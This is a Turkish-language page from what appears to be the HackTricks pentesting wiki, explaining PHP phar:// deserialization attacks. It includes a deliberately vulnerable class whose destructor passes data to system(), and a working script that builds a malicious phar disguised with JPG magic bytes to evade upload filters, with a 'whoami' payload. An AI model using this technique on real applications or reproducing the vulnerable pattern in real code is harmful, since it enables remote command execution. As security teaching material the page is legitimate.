hacktricks/src/pentesting-web/file-inclusion/phar-deserialization.md

67 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# phar:// deserialization
{{#include ../../banners/hacktricks-training.md}}
**Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler içerir**, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** zafiyetini istismar etmeye çalışabilirsiniz.
Bu özelliğin en iyi yanı, bu deserileştirmenin **file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir.
Yani, bir PHP web uygulamasının **`phar://`** protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir **sınıf** buluyorsunuz:
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
Bir **phar** dosyası oluşturabilirsiniz ki yüklendiğinde **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştırır:
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **olası** dosya **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\
`test.phar` dosyasını şu şekilde derleyin:
```bash
php --define phar.readonly=0 create_phar.php
```
Ve zayıf kodu istismar ederek `whoami` komutunu çalıştırın:
```bash
php vuln.php
```
### Referanslar
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}